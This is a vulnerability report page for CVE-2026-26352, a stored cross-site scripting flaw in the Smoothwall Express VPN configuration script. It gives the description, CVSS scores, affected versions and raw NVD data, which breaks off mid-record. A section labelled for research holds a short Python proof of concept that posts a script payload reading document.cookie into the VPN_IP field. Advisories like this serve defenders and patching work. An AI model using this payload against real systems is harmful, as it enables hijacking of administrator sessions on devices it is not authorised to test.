Security Vulnerability Report
中文
CVE-2026-26352 CVSS 5.4 MEDIUM

CVE-2026-26352

Published: 2026-03-30 17:16:14
Last Modified: 2026-04-14 16:34:30

Description

Smoothwall Express versions prior to 3.1 Update 13 contain a stored cross-site scripting vulnerability in the /cgi-bin/vpnmain.cgi script due to improper sanitation of the VPN_IP parameter. Authenticated attackers can inject arbitrary JavaScript through VPN configuration settings that executes when the affected page is viewed by other users.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:o:smoothwall:smoothwall_express:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:smoothwall:smoothwall_express:3.1:update1:*:*:-:*:*:* - VULNERABLE
cpe:2.3:o:smoothwall:smoothwall_express:3.1:update10:*:*:-:*:*:* - VULNERABLE
cpe:2.3:o:smoothwall:smoothwall_express:3.1:update11:*:*:-:*:*:* - VULNERABLE
cpe:2.3:o:smoothwall:smoothwall_express:3.1:update12:*:*:-:*:*:* - VULNERABLE
Smoothwall Express < 3.1 Update 13

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL of the vulnerable Smoothwall Express VPN script target_url = "http://target-ip/cgi-bin/vpnmain.cgi" # Malicious payload to be injected into the VPN_IP parameter # This script simply alerts the document cookie, demonstrating execution. xss_payload = '"><script>alert(document.cookie)</script>' # Data payload mimicking a legitimate VPN configuration update # The key parameter here is 'VPN_IP' which is vulnerable post_data = { "ACTION": "Add", # Or "Update" depending on the form context "VPN_IP": xss_payload, "VPN_NAME": "TestConnection", # Other necessary form fields to make the request valid } # Attacker must be authenticated. Replace with a valid session cookie. cookies = { "smoothwall_session": "valid_session_id_here" } try: # Send the POST request to inject the payload response = requests.post(target_url, data=post_data, cookies=cookies) if response.status_code == 200: print("[+] Payload injected successfully.") print("[+] Check the VPN configuration page to trigger the XSS.") else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-26352", "sourceIdentifier": "[email protected]", "published": "2026-03-30T17:16:14.363", "lastModified": "2026-04-14T16:34:30.427", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Smoothwall Express versions prior to 3.1 Update 13 contain a stored cross-site scripting vulnerability in the /cgi-bin/vpnmain.cgi script due to improper sanitation of the VPN_IP parameter. Authenticated attackers can inject arbitrary JavaScript through VPN configuration settings that executes when the affected page is viewed by other users."}, {"lang": "es", "value": "Smoothwall Express versiones anteriores a 3.1 Update 13 contienen una vulnerabilidad de cross-site scripting almacenado en el script /cgi-bin/vpnmain.cgi debido a una sanitización inadecuada del parámetro VPN_IP. Atacantes autenticados pueden inyectar JavaScript arbitrario a través de la configuración de VPN que se ejecuta cuando la página afectada es vista por otros usuarios."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:smoothwall:smoothwall_express:*:*:*:*:*:*:*:*", "versionEndIncluding": "3.0", "matchCriteriaId": "F0BC090B-12A9-4A0E-9BD2-EFA56B569432"}, {"vulnerable": true, "criteria": "cpe:2.3:o:smoothwall:smoothwall_express:3.1:update1:*:*:-:*:*:*", "matchCriteriaId": "714B3296-7323-4920-8832-827C697ABED8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:smoothwall:smoothwall_express:3.1:update10:*:*:-:*:*:*", "matchCriteriaId": "07EF8E3A-93A2-4A5A-A077-B692D7B4D92F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:smoothwall:smoothwall_express:3.1:update11:*:*:-:*:*:*", "matchCriteriaId": "2B3D4296-EE7C-46FD-A734-419DC0BDFB7A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:smoothwall:smoothwall_express:3.1:update12:*:*:-:*:*:*", "matchCriteriaId": "230A2DC9-DE28-4D18-99B8-0567CE99969C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:smoothwall:smoothwall_express:3.1:update2:*:*:-:*:*:*", "matchCriteriaId": "5F0EED85-4850-4303-9529-E45868061C90"}, {"vulnerable": true, "criteria": "cpe:2.3:o:smoothwall:smoothwall_express:3.1:update3:*:*:-:*:*:*", "matchCriteriaId": "0A0D511A-9CBB-4586-BF80-AAC12101B9E4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:smoothwall:smoothwall_express:3.1:update4:*:*:-:*:*:*", "matchCriteriaId": "2999F419-BAF9-4660-8983-BB5A8374450E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:smoothwall:smoothwall_express:3.1:update5:*:*:-:*:*:*", "matchCriteriaId": "83811BB5-B833-4594-823D-C47CB8499DD0"}, {"vulnerable": true, "criteria": "cpe:2.3:o:smoothwall:smoothwall_express:3.1:update6:*:*:-:*:*:*", "matchCriteriaId": "E2A35B5F-2BFD-43D2-B0AC-EFCA7A5A8E2C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:smoothwall:smoothwall_express:3.1:update7:*:*:-:*:*:*", "matchCriteriaI ... (truncated)